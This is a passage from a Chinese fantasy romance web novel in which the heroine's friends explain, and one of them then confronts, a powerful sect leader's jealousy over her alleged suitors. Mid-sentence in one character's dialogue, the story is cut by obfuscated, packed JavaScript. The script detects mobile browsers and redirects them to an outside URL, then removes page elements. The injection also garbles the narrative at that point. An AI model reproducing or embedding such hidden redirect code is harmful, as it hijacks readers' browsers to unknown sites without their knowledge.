“……你明白便好,”慕丹青这才松了口气,“现下你可理解……当我知道你心爱于他时……有多震惊了吗?” 司城凛对所有人来说,都该高高在上,不染尘埃。 见她陷入怅然,慕丹青竟好笑地扑哧一声,才道:“巫寻月啊巫寻月,我要你这个大明星朋友有何用?你有我慕丹青可才真是了不起。” 巫寻月的注意力瞬间被拉回,看着慕丹青眉眼间飞扬的笑意,她自然地就跟着笑了起来:“你有什么好消息给我?” “哼。”慕丹青缓缓站了起来,被她黏着抱了许久,酸麻得很。慕丹青在屋内踱步,缓缓开了口:“你今日对司城封座这番话虽凌厉了些,可也并无太多不妥,可你知道他为何如此生气吗?” “……为什么?” 慕丹青转身看定她,道:“前几日我就跟你说了要帮你问明白燕云停究竟在九部令中是如何说与你的事的,今日我碰到千山副座,便问了。燕云停倒也正直,并未有何失言,说是与你在朋友聚会中相识,对你一见钟情,后来我们几次同邀你们出去玩,他便也有了与你独处的机会,也会到学校找你,但你颇为矜持,与他并不过密……” 巫寻月目光一沉,承认道:“这些,的确是如此。” “可你也知道他如此描述,别人听来可就不是这个意思了,所谓的矜持,也就变成了娇羞涩意,甚至是欲擒故纵,”慕丹青与她说话从不打哑谜,一针见血得很,她顿了顿,眉头一挑,道,“那你猜猜,这些话——都传进谁耳朵里了?” 巫寻月猛地一下站了起来:“——有人告诉他了?” 66. 第 66 章 慕丹青叹了口气,也是无奈:“千山副座是我家远房亲戚,按辈分我该喊一声表叔,他三十二岁入破灵境,若天地人和皆顺,该是有成为封号灵师的可能……可他的缺点就是比那枫若恒还死脑筋,那日见司城封座拒了你同学,他便顺便试探司城封座可有属意的人选,接着又顺便把燕云停与你之事说了,大概是觉得若你能为了燕云停到九部令中,司城封座该也是乐见其成的。” “——他有必要这么顺便吗!”巫寻月一下子揭竿而起,怒发冲冠,“有这样顺便的吗?他怎么不顺别人的便!” “谁让你是大明星呢,是不是?双修真灵。”慕丹青这会儿倒是看戏了。 巫寻月又开始咬嘴唇了。慕丹青真是受不了她,忍不住推了她一把:“哎哎哎——你怎么就开始娇羞上了?这就开心了?眼前这摊子事儿解决了吗你就开始高兴?” 巫寻月实在忍不住,干脆捂脸往榻上一倒:“哎呀……他真的……因为这个生气吗?” “我那表叔是这么说的……”慕丹青清了清嗓子,声线一沉,模仿道,“我当时向封座大人说完此事,他并无任何表示,就让我退下了,可我才出书房,便被封座大人暴走的灵压所震,跪倒在地动弹不得……我从未见过封座大人如此暴怒,丹青你说这是为什么啊?” “哈哈哈哈哈——!”巫寻月爆发出惊天动地的笑声。 慕丹青也跟着激动起来,手舞足蹈道:“我当时就在那想——完蛋!司城封座前脚才解决了一个为你打架的男人,怎么马上又有一个!我要是他,我都得气死了!” “哈哈哈哈哈——!”巫寻月实在是停不下来了,捂着肚子在榻上左右翻滚。 “你先别笑!”慕丹青双手叉腰,诘问道,“你都听不出来吗?什么‘你真是忙得很啊’,这分明就是说你这纠缠不清的情况太多了!” 巫寻月立时变了脸:“慕丹青你说话注意一点好不好?谁纠缠不清了?” 慕丹青讥笑一声:“你倒是会说我,我说的是司城封座的想法,有本事你找他说去。” “……”她还真没本事。巫寻月笑不出来了,可怜巴巴地望着她,说:“丹青……他真的有点可怕,我跟他说话都不敢看他的眼睛,明明以前不是这样的……” “可真正的司城封座,就是这样的,”慕丹青出言激她,“他不是什么少年郎,他是我们全长隐洲最顶天立地、威震天下的男人——你还爱不爱?” 巫寻月看起来有点可怜,呆呆地点了头,说:“爱。” “……”慕丹青无话可说。 慕丹青最后告诉巫寻月,她已向千山昙现讲明,巫寻月对燕云停并无情意,之前往来也属朋友间正常交往,并无逾矩,望他们莫要再拿二人说笑,以让她困扰。 可也很显然,这些说笑间的八卦,千山昙现当然不会专程拿去跟司城凛解释——在他眼里,司城凛根本就没听进去这个事! 另一边,东方曜已初步拟定改投三部令,但也迟迟未向学校递交正式志愿。大家都能明白他的顾虑,他被九部令拒绝之事传开,自然三部令也是知道的,那这下子性质可就变了,无论他多么优秀,身上始终带上了“被拒绝过”的标签。 司城凛这一招,的确恶毒了些。虽说狄乐凰也曾被八部令拒绝,但终究身份有别,她是尊贵的郡主,自有大儒为她辨经,结果不还是人人夸赞言萧鹤深明大义,为她着想。 可东方曜——司城凛为他着哪门子想了? 就在巫寻月为了此事愁眉不展之时,霹雳一声雷,她的救星从天而降——狄乐凰回来了。 狄乐凰找人去宿舍给巫寻月带话,说有人在断崖等她。巫寻月正在宿舍收拾东西呢,七年间行李堆得满屋子都是,总得一点点开始整理。她问那人是谁,那人却说不知,她起先有些反感,左右想来还是燕云停的概率大一些,便不想去了。 可随即,那人又说:“是和你一样的漂亮姐姐。”巫寻月心头一震,当即放下东西跑下了山——六年过去了,终究这神都学宫改天换日,不知神都第一美人面目的小朋友已占据了大半山头,曾经一睹双姝并蒂的同学们,也早已四散各处。 巫寻月一路驭风下山,数息之间人已到断崖近前,远远地望见那云崖之上,通体晶莹的镇虚鳐跟前,站着一道裙裾飘扬的纤影,如章台杨柳,般般入画。才远远见到,狄乐凰就激动地跳起来冲她挥了手,笑颜溶在淡金色的午后阳光里,当真是人间胜景。 她们在断崖之上相拥,久别重逢,喜极而泣。巫寻月已经很久很久没见到她了,只在去年深夜狄乐凰突然哭着跑来找她见了一次,却让她觉得,这比慕丹青去戍边那两年还要久。 巫寻月问她:“你何时回的神都?” 狄乐凰紧握她的手说:“昨日便回到了,家中事忙,也得陪着父亲母亲办宴席。正值这几天优秀毕业生投报志愿,席间不乏有人议论此事,我就将事情听说了大概,心想今日也该来找你了。” 巫寻月委屈的泪水簌簌落下,狄乐凰要逗她了:“怎么了?要毕业了还不高兴了?可要再留个级多读两年?” 巫寻月扑哧一笑:“才不要呢。” 两人坐上车驾,狄乐凰带巫寻月到神都城中吃茶。到了地方坐下,巫寻月便将这几日所发生之事都告诉了她。 “这司城凛也真是的!一直都是这张嘴,毒辣刻薄,吐不出一句好话!”狄乐凰即便是有怒意也显得温柔极了,“幼时起我就对他这毒舌厌恶得很,怎么对你还是这般!” 巫寻月笑得好开心,不知为何,有人说司城凛坏话,她爱听得很。似乎也只有在狄乐凰这里,她才能听到司城凛的全名了。她是打趣也是好奇道:“所以你才对他并无情意?” 狄乐凰皱起眉头,难言极了:“寻月,实不相瞒,若是你像我一样和他相识已久,根本不会喜欢他——根本不会有女子还能喜欢他!也就梅见蹊没心没肺,否则谁人能捱得住他那脾性?当初听你说你心爱于他,我心想……天哪,那得多难熬……” “哈哈哈哈哈——!”巫寻月倒在狄乐凰怀里,笑得直不起腰了。 狄乐凰随她笑了一阵,也是无奈道:“那我可提醒过你了,这是你第一次见识他如此,惊吓也是应该,可我是见了快二十年了,他一向都是如此。” “哦。”巫寻月搁她怀里咬嘴唇害羞呢。 狄乐凰接着说:“不过,还好后来你知晓了隐情,起先你说的时候我就觉得奇怪,虽说阿凛脾气不好,可也不是暴怒无常、苛待下属之人,他一向严明有度,也并不是认死理不可通融之人,不论是司城家还是九部令,对他皆是心悦诚服的,且那话酸得明显,我还道此事定有蹊跷……还好丹青已为你问清楚,现在可是开心了?” “是开心……”巫寻月笑里蜜意过浓,都不好意思让她瞧见了,“可是……他如此对东方曜,实在是狠了些。” “他先拒了东方曜,未必全是为了你,”狄乐凰从旁理顺了一遍,观势明了,“东方曜无礼挑衅、私斗同学在先,若是我也得思量一二,更何况他险些破坏了司城宗祠,此事若日后在九部令中传扬了出去,同僚对他更是会有所看法,这是其一。其二的话,还好今年改革,若拒了他,他还能再从旁选择,也不算断了此子前途,何不干脆放他去别处,也省得碍眼。” 巫寻月接着就说:“我知道这是最重要的原因,是原则性问题,无可辩驳,可……毕竟是我鼓励他投报九部令的,结果竟变成这样,我怎能不愧疚。” 狄乐凰凝神看定她,有些严肃,道:“那我且得问一问你了,你对这东方曜……是何心意?” 巫寻月简直是惊愕地看着她:“……我怎会对他有心意?他也已经放下我了,最近还和另一位女同学有些眉目,不然我也不会站出来替他去申辩的!” 狄乐凰摇了摇头,说:“你不是在回答我,是在回答司城凛——他定是这么想的,你瞧瞧你都做了什么?他明知东方曜当初是为你打架,现在你又跳出来回护他——你要司城凛怎么想?” “……”巫寻月人都傻了。 狄乐凰无奈叹气:“他先拒了一个东方曜,冷不丁立刻又跳出来一个燕云停……我要是他,早就掀桌子了,还等得人出去了才大发脾气?” “我……”巫寻月脸上这会儿一点也不愧疚,又在偷笑,“那是他自己选的,你也说过啊,他不见我,放任我,那我这七年发生了些什么,他都管不着——正好让他瞧瞧,我也不是非他不可。” 轮到狄乐凰展颜笑开了,方才还在为她担忧,听她这么一说,狄乐凰反而更通透了些:“你说的是,他不肯把话说开,你也没必要这么懂事处处为他着想,我倒是乐见司城凛能被一个女人折磨——不如你再多找几个?除了这两人,可还有谁能给他添堵?” “哈哈哈哈哈——!”巫寻月快疯了,“狄乐凰,你简直是丧心病狂!” 随后,巫寻月也老老实实告诉她:“可是乐凰,我终究是有些心虚,当初的确是我亲口承认对燕云停有些感觉,所以他抓住这一点,对外模棱两可,我也无话可说。” “你那样坦诚,是为了对自己磊落,为了对得起自己,不是为了他,”狄乐凰笃定地告诉她,“不必介怀,你已 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17027162|188673||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 经足够尊重他了。” 巫寻月倒在她腿上不肯起来,眷恋极了:“乐凰,我就知道你回来会让我好很多……” 狄乐凰冲她笑道:“我是不是说过,在你需要我的时候,我就会回来?” 若有谁会为了巫寻月跑去向司城凛兴师问罪,那也只有一个狄乐凰了。 第二天正是旬休,狄乐凰于午前到访司城府,司城凛不出所料正在书房,他案牍公文太多,就算是旬休日也并不清闲。 上一次狄乐凰来这间书房还是幼时,那时这里的主人还是司城靖,父亲带她来访,不过也是那种大人谈正事,小孩子自己玩耍的场面。父亲早告诉她司城家有一子一女,长子大她五岁,幼女小她两岁,话还说不利索,若是找她玩,得多照顾她一些。 第一次见到司城凛,狄乐凰就怕得很,那年他十岁,已学会了许多高级灵术,抬手一挥便能引来天象巨变,吓得狄乐凰哇哇大哭。他也没道歉,冷冷地睨了她一眼,便去别处练功了。那时司城靖尚且年富力强,神勇无双,司城凛学这些完全是出自本心天赋,自己也乐在其中,不像十五岁之后,他的每一分努力都变成了与时间赛跑,完全失去了学习灵术的趣味和热衷。 后来再长大些,狄乐凰也会用些灵术了,偶然再有机会一起玩耍,她便壮胆跑去找司城凛请教,虽然他愿意教她,可他实在是太强了,她终究没他那般悟性,没一会儿他便不耐烦了,讥讽她是个毫无天赋的笨蛋,她再次被吓得哇哇大哭。从此以后,狄乐凰十分抗拒与此人说话,看见他就烦,偶然一次梅见蹊与空相家二公子说要去找司城凛玩耍,问她要不要一起去,她连连摇头,有多远滚多远。 狄乐凰入学神都学宫时,司城凛六年级,但她几乎不再见过他,因为他几乎不来学校——那时他已快入隐灵境,怎还会待在学校上那些傻乎乎的课程。 弹指一挥间,十几年过去了,这间书房已经易主,他们也不再是孩童,她不再会被他吓哭,而他也不再有时间和他们一起玩玩闹闹了。 司城凛坐在案后,让狄乐凰自便,她也没坐着,在他这书房间踱步参观,顺带问他:“迦染最近可有消息?在山海洲可遇到什么难事?” 司城凛并未抬头:“一切都好。” “她如此留恋山海洲,你可有问过她因何留恋?” “山海洲地大物博,且不能御灵飞行,全靠车马,纵是几年时间,也走不了太多地方。” 狄乐凰听明白了:“所以,她便得一路看,一路玩,总是不会腻。” 此时,狄乐凰走到了一处画架,随手拿起其上一卷,打开来看,竟就是她送司城凛的那幅她与巫寻月同游赏花的画像。放在如此上方,这说明,他时常会打开来看。 狄乐凰背对着司城凛,收起画卷时,开门见山:“那日在校长书房,你对寻月说的话,实在是太重了些。” 司城凛眼帘一抬,未看向她,也不做声。 狄乐凰缓缓转过身来,没有迟疑:“你没空跟我闲聊,我也懒得待太久——寻月与那二人并无特殊情分,东方曜是她同窗,虽心仪她多年,但自在你家宗祠前一闹,寻月已与他道清。此子也多有反省,心有释怀,但依旧视寻月为知己,且寻月并不知道你对当日私斗的人知道得那么清楚,才会鼓励他投报九部令,后又被你拒绝,寻月怎能不自责?所以才会想去找校长,看看是否还有转圜。” 司城凛放下了折子,目光扫向别处,眼底隐忍有动,却还是无话。 狄乐凰继续说:“至于你部那间令,寻月早已拒了他,但也是我寻月魅力太强,已经过去半年此人还对她念念不忘,也不介意如此以表忠贞,推拒其他莺莺燕燕……不过最头疼的还得是司城封座你,此人现今在九部令中如此公开对寻月的情意,日后……难保部众不会认为是封座大人横刀夺爱呀……” 狄乐凰这话措辞故意得很,她饶有兴致地观察着司城凛的表情,见他不为所动,她更是加以挑衅道:“也恰巧这两人都与你部有关,叫你看见了,可神都如此之大,封座大人您也不是事事都了如指掌……宗门之首的身份,可困不住女人的心。” 司城凛脸上虽无波澜,可也显得柔和了几分。狄乐凰自然不是在等他会说些什么,将最后的话说了出来:“东方曜已被你所拒,十一令中对他总有些看法,同窗若因自己误了前程——你猜猜看,寻月心里会不会记着他一辈子?” 司城凛终于看向狄乐凰。 狄乐凰满意地笑了,人却已转身,轻飘飘道:“我言尽于此,司城封座如此深谋远虑,纵横捭阖,必定知道如何周全……告辞。”